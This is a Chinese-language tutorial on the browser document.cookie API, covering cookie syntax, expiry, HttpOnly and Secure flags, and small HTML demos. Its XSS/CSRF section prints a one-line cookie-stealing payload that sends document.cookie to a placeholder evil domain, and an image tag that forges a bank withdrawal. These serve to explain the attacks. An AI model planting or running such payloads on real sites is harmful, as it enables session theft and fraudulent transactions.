web API简介(二)：客户端储存之document.cookie API
概述
前篇：web API简介(一)：API，Ajax和Fetch
客户端储存从某一方面来说和动态网站差不多。动态网站是用服务端来储存数据，而客户端储存是用客户端来储存数据。document.cookie API就是实现客户端储存的最原始方法。
Cookie介绍
cookies主要用来做如下事情：1.用户登录，购物车等会话控制。2.用户的偏好设定记录。3.记录和跟踪用户的行为。
cookies有很多问题。比如它的发送需要利用http请求，所以会有性能损耗；每种浏览器也有cookie条数限制，达到限制就会自动删除一些cookie；cookie还有很严重的安全问题。
cookies只有一个优点，就是它和老式的浏览器很兼容。0.0
Set Cookie
Set-Cookie: <cookie-name>=<cookie-value>
语法
//newCookie = "key=value"
document.cookie = newCookie;
还可以在后面添加这些信息：
(1)";path=path"
(2)";domain=domain"
(3)";max-age=max-age-in-seconds"
(4)";expires=date-in-GMTString-format"
Cookie的时效
如果没有写Expires或Max-Age，当浏览器关闭的时候Cookie会被删除。
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;
HttpOnly cookies
为了防止XSS(cross-site scripting)攻击，cookie可以加上Secure和HttpOnly，这样它就不能被Document.cookie API读取了。(这样就不能通过js获取用户的cookies)
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly
Xss和CSRF
XSS = cross-site scripting；CSRF = Cross-site request forgery。
下面是一个XSS盗取cookie的例子。执行代码会把用户的cookie发送给服务器。
(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;
下面是CSRF盗钱的例子(前提是用户在浏览器上面登录了账户并且他的cookie仍然有效)。当用户点击这个图片的时候，会被盗钱。
<img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory">
Zombie cookies
Zombie cookies = Evercookies。
这类cookies在被删除后会立刻重新建立，所以很难被删除。
相关方面的资料：Evercookie by Samy Kamkar和Zombie cookies on Wikipedia。
cookie操作实例
下面的代码拿到一个叫test2的cookie。
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Document</title>
<script>
document.cookie = "test1=Hello";
document.cookie = "test2=World";
var cookieValue = document.cookie.replace(/(?:(?:^|.*;\s*)test2\s*\=\s*([^;]*).*$)|^.*$/, "$1");
function alertCookieValue() {
var showCookie = document.getElementById("show_cookie");
showCookie.innerText = cookieValue;
};
</script>
</head>
<body>
<button onclick="alertCookieValue()">显示cookie</button>
<div id="show_cookie"></div>
</body>
</html>
下面的代码使事情只做一次。
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Document</title>
<script>
function doOnce() {
if (document.cookie.replace(/(?:(?:^|.*;\s*)doSomethingOnlyOnce\s*\=\s*([^;]*).*$)|^.*$/, "$1") !== "true") {
document.getElementById("do_once").disabled = true;
document.cookie = "doSomethingOnlyOnce=true; expires=Fri, 31 Dec 9999 23:59:59 GMT";
}
};
function resetOnce() {
document.getElementById("do_once").disabled = false;
document.cookie = "doSomethingOnlyOnce=; expires=Thu, 01 Jan 1970 00:00:00 GMT";
}
</script>
</head>
<body>
<button id="do_once" onclick="doOnce()">Only do something once</button>
<button onclick="resetOnce()">Reset only once cookie</button>
</body>
</html>
